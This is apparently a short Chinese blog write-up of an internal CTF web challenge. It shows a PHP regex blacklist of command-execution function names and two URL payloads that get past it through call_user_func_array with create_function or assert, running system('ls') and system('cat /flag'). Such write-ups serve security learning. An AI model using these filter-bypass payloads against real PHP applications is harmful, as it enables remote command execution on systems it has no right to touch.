EDI内部ctf

##web2
常见的命令执行函数已经被过滤了,这里主要寻找可以执行命令的函数

preg_match('/call|system|exec|popen|file|passthru|open|eval|map|include|require|filter|assert|env|preg|ini|read|write|rename|show|sort|func|curl|copy|dir|get|proc|ld/i',$str)

下面使用的是call_user_func_array来执行命令
传入的参数为,第一个为所要调用的函数,第二个为执行函数的参数,且必须为数组,这个时候就去翻php文档寻找可以调用的函数即可:
发现可以使用这两个函数:
但是第一个由于版本的原因,用不了(本地测试7.4.3)可以使用

?func=array_reduce&args[0][0]=&args[0][1]=;}system('ls');/*&args[1]=create_function&args[2]=No data to reduce
?func=array_intersect_uassoc&args[0][system('cat /flag')]=&args[1][0]=&args[3]=assert
Author

vague huang

Posted on

2023-01-08

Updated on

2023-02-10

Licensed under

Comments